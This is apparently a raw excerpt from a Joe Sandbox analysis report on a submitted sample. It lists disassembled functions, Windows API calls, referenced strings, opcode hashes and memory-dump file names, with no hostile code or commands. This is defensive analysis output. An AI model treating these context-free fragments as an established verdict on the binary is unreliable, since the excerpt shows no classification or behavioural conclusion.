Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 93e78a622899911f061d15df204f5ca73cd709dc56029b5105649c7768d16ae8
Instruction ID: 1b3a58625109726a68947af77682e736e2eddc02298d765b2b6e56835e5a97d2
Opcode Fuzzy Hash: 93e78a622899911f061d15df204f5ca73cd709dc56029b5105649c7768d16ae8
Instruction Fuzzy Hash: 46B011300A020A8A8E002F30CC088283A20EA2230A30082A0A00ACA0A0CB22C022AA00

Function 00D7A322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00D7A587,C:\Users\user\Desktop,00000000,00DA946A,00000006), ref: 00D7A326

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 20b690ca146bf4cf4fd8a3f705cdc35ae1d5082efb6f0a682f16e15761927db4
Instruction ID: 8a08b5a57d564e8500a5b26abe9b2534fb3e2802d2375116c05d40432ab9bc58
Opcode Fuzzy Hash: 20b690ca146bf4cf4fd8a3f705cdc35ae1d5082efb6f0a682f16e15761927db4
Instruction Fuzzy Hash: 55A01230194206568A000B30CC09C1576505760702F0086227002C00B0CB308C14A510

Non-executed Functions

Function 00D7B8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D6130B: GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
Part of subcall function 00D6130B: SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00D7B971
EndDialog.USER32(?,00000006), ref: 00D7B984
GetDlgItem.USER32(?,0000006C), ref: 00D7B9A0
SetFocus.USER32(00000000), ref: 00D7B9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00D7B9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00D7BA18
FindFirstFileW.KERNEL32(?,?), ref: 00D7BA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D7BA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D7BA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00D7BA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D7BA94
_swprintf.LIBCMT ref: 00D7BAC4

Part of subcall function 00D6400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D6401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00D7BAD7
FindClose.KERNEL32(00000000), ref: 00D7BADE
_swprintf.LIBCMT ref: 00D7BB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 00D7BB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00D7BB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00D7BB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D7BB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00D7BBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D7BBC9
_swprintf.LIBCMT ref: 00D7BBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00D7BC08
_swprintf.LIBCMT ref: 00D7BC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00D7BC6F

Part of subcall function 00D7A63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00D7A662
Part of subcall function 00D7A63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,00D9E600,?,?), ref: 00D7A6B1

Strings

REPLACEFILEDLG, xrefs: 00D7B907
%s %s, xrefs: 00D7BB29, 00D7BC4E
%s %s %s, xrefs: 00D7BAB2, 00D7BBE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 9c3872564e99103d4acf27ffa6169011c86a9e8a4cd12da44ec5e882c62d2a3f
Instruction ID: 749702fae427d4f4c53517beb40b0c9db68c984970534c8cbbfe34097b30b4ea
Opcode Fuzzy Hash: 9c3872564e99103d4acf27ffa6169011c86a9e8a4cd12da44ec5e882c62d2a3f
Instruction Fuzzy Hash: A5919372248349BFD7219BA0DC49FFB77ACEB49714F04481AF789D2191EB719A048B72

Function 00D6718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D67191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00D672F1
CloseHandle.KERNEL32(00000000), ref: 00D67301

Part of subcall function 00D67BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D67C04
Part of subcall function 00D67BF5: GetLastError.KERNEL32 ref: 00D67C4A
Part of subcall function 00D67BF5: CloseHandle.KERNEL32(?), ref: 00D67C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00D6730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00D6741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00D67446
CloseHandle.KERNEL32(?), ref: 00D67457
GetLastError.KERNEL32 ref: 00D67467
RemoveDirectoryW.KERNEL32(?), ref: 00D674B3
DeleteFileW.KERNEL32(?), ref: 00D674DB

Strings

SeRestorePrivilege, xrefs: 00D671B2
\??\, xrefs: 00D67217
SeCreateSymbolicLinkPrivilege, xrefs: 00D671BC
UNC\, xrefs: 00D6723C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 77e66f75d1d2bbb09f94d2013e1db362334ef9c3903aba1d7d7d2b77eb27f157
Instruction ID: 7b579a0730a4de2533f4f96ec41e2eb9d2571d8990716da809bcf73dc630a82a
Opcode Fuzzy Hash: 77e66f75d1d2bbb09f94d2013e1db362334ef9c3903aba1d7d7d2b77eb27f157
Instruction Fuzzy Hash: 3BB1C271904219ABDF20DFA4DC45BEEBBB8EF04704F0445A9F949E7242DB34AA49CB71

Function 00D63281 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D6328A
_memcmp.LIBVCRUNTIME ref: 00D63377

Strings

hc%u, xrefs: 00D6367B
h%u, xrefs: 00D6362D
CMT, xrefs: 00D63990

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: d9aff0505aea46dafe57306f1d70c26eb16ca2ea68985ec2792dbdc308dbd3a2
Instruction ID: d774385f8733c048206ac937f1803f88f5de1216fc1bc6ade564f34ec8fed213
Opcode Fuzzy Hash: d9aff0505aea46dafe57306f1d70c26eb16ca2ea68985ec2792dbdc308dbd3a2
Instruction Fuzzy Hash: 74328E715147849FDF14DF64C896AEA37A5EF55300F08457EFD8A8B282EB70AA48CB70

Function 00D8D00E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00D8D154

Strings

1#IND, xrefs: 00D8E34C
1#INF, xrefs: 00D8E361
1#SNAN, xrefs: 00D8E353
1#QNAN, xrefs: 00D8E35A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 87f9838cb50a149a67c4edb36208da15769dae42bedaf743474213a4a421efef
Instruction ID: d70630221f55ae431ec6e807abb848c15090aa03b7b82adb908d4e09870a342c
Opcode Fuzzy Hash: 87f9838cb50a149a67c4edb36208da15769dae42bedaf743474213a4a421efef
Instruction Fuzzy Hash: B3C25C71E086288FDB25EF28DD407E9B3B6EB44315F1945EAD44DE7280E774AE818F60

Function 00D627E8 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D627F1
_strlen.LIBCMT ref: 00D62D7F

Part of subcall function 00D7137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00D6B652,00000000,?,?,?,0001042C), ref: 00D71396

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D62EE0

Strings

CMT, xrefs: 00D62F13

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 115eaf4443a83e98a679086f707aa349af4365f61c51000740bd975113d6de05
Instruction ID: 3c7de7424393a65ab9960e32bf7ad876f14a24d50efd784c8da7f17392566433
Opcode Fuzzy Hash: 115eaf4443a83e98a679086f707aa349af4365f61c51000740bd975113d6de05
Instruction Fuzzy Hash: 0D62E2715106848FDF18DF68C8956FA3BE1EF58304F09457EEC9A8B286DB70A949CB70

Function 00D8866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00D88767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00D88771
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00D8877E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b55934d86301b9f226436114307a719f2f1e41507ed5034f8a5d01aabe7fe070
Instruction ID: 3cfe90e04c16ed280d3ff0eee0612e5462055ed4ca8ce13fe0e08e130d8d5f48
Opcode Fuzzy Hash: b55934d86301b9f226436114307a719f2f1e41507ed5034f8a5d01aabe7fe070
Instruction Fuzzy Hash: 4931B5759013289BCB21DF64DC89B9DBBB8EF08310F5041EAE90CA7251EB349B858F55

Function 00D8CB60 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction ID: 38aa944026b58aedc1c4bbaac0279b64a78b62f6d420832ecb8a20ca14034957
Opcode Fuzzy Hash: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction Fuzzy Hash: 0A021C71E11119DBDF14DFA9C8806ADBBF1EF48314F29816AE919E7284D731AD418BA0

Function 00D7A63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00D7A662
GetNumberFormatW.KERNEL32(00000400,00000000,?,00D9E600,?,?), ref: 00D7A6B1

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 3187118788c700bdceadb93c1d4406dc4d53c44c8c9dfbb54a06000c38c32a31
Instruction ID: 41a9f712b228579107aca205cafbb314140d83e3ddac2b71721c945c1476f9d3
Opcode Fuzzy Hash: 3187118788c700bdceadb93c1d4406dc4d53c44c8c9dfbb54a06000c38c32a31
Instruction Fuzzy Hash: 05014C36100308EADB10CF65EC05F9B77BCEF19710F005922BA08E7260D3709A248BB5

Function 00D66EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00D7117C,?,00000200), ref: 00D66EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00D66EEA

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: ffbba8cc8f22633e47f1f33e2af1cd606659047b0c1fe0e0bbe06b56c263d239
Instruction ID: 14eaf5b3ac08c2de00d47b10c216ba49f12ce54b1f7e1ad587e460fd264a76ca
Opcode Fuzzy Hash: ffbba8cc8f22633e47f1f33e2af1cd606659047b0c1fe0e0bbe06b56c263d239
Instruction Fuzzy Hash: 47D0C9353C8302BFEB110E75CC06F2B7BA4A755B82F20C515B35AE90E1CA71D424D639

Function 00D91194 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00D9118F,?,?,00000008,?,?,00D90E2F,00000000), ref: 00D913C1

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0c1d3045bf61364945af8648e16b841c05e0fc4689ffb22af72274c656caf11b
Instruction ID: 30544cf309b974ffc2263b41a384ca18f91a25eb26b96bc41b3e6ad777ad1673
Opcode Fuzzy Hash: 0c1d3045bf61364945af8648e16b841c05e0fc4689ffb22af72274c656caf11b
Instruction Fuzzy Hash: 6DB16D3961060ADFDB15CF28C48AB657BE0FF09364F298658E8D9CF2A1C335E981CB54

Function 00D6407E Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

gj, xrefs: 00D640C1

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 7e6bbbe660ba5eb3de5972ba8c866f3ea88ef2f4e87a60cc35786ec04c379f9d
Instruction ID: b33577070b2bec7cd32f42441a5f16729029b5597b9da957ef4b090b8016a4b6
Opcode Fuzzy Hash: 7e6bbbe660ba5eb3de5972ba8c866f3ea88ef2f4e87a60cc35786ec04c379f9d
Instruction Fuzzy Hash: 31F1C3B1A083418FD748CF29D880A1AFBE1BFCC208F15892EF598D7711E635E9558B56

Function 00D6ACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00D6AD1A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 2d8a9ce695acd026cfd20d737a8c97236663fc879aeb78ae1122b47fc5a72c6b
Instruction ID: fa335a2f04ff6fb09882e15e86edf32f96f7745a06db4d693d28f0a45bb41484
Opcode Fuzzy Hash: 2d8a9ce695acd026cfd20d737a8c97236663fc879aeb78ae1122b47fc5a72c6b
Instruction Fuzzy Hash: 15F017B490030C8FCB28CF18EC426E977B5FB59715F20029AD959A3764E3B0AD408EB2

Function 00D7F063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,00D7EAC5), ref: 00D7F068

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 88e4d52b0ab7d7a4802f565401675c83041787b579eebfab237f54bb818d3c58
Instruction ID: 6f2799a97630ec1fb5a436df9fd25319dc4137fc2c2989a873d6a3b77b5818c9
Opcode Fuzzy Hash: 88e4d52b0ab7d7a4802f565401675c83041787b579eebfab237f54bb818d3c58
Instruction Fuzzy Hash:

Function 00D8B710 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00D8B710

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0dcf499ec68d25ce5e29b67fa6f91ff498b8ca5723829558bf1322441c12266f
Instruction ID: a34542a1574f1bab64e02e56bf6493fe86c363340d7dee7b8dbe3bfda2ebb539
Opcode Fuzzy Hash: 0dcf499ec68d25ce5e29b67fa6f91ff498b8ca5723829558bf1322441c12266f
Instruction Fuzzy Hash: D3A001B86413128B97408F76AA096093AA9BA46695709826AA509D6271EA2485609F21

Function 00D75C77 Relevance: .8, Instructions: 800COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID:
API String ID:
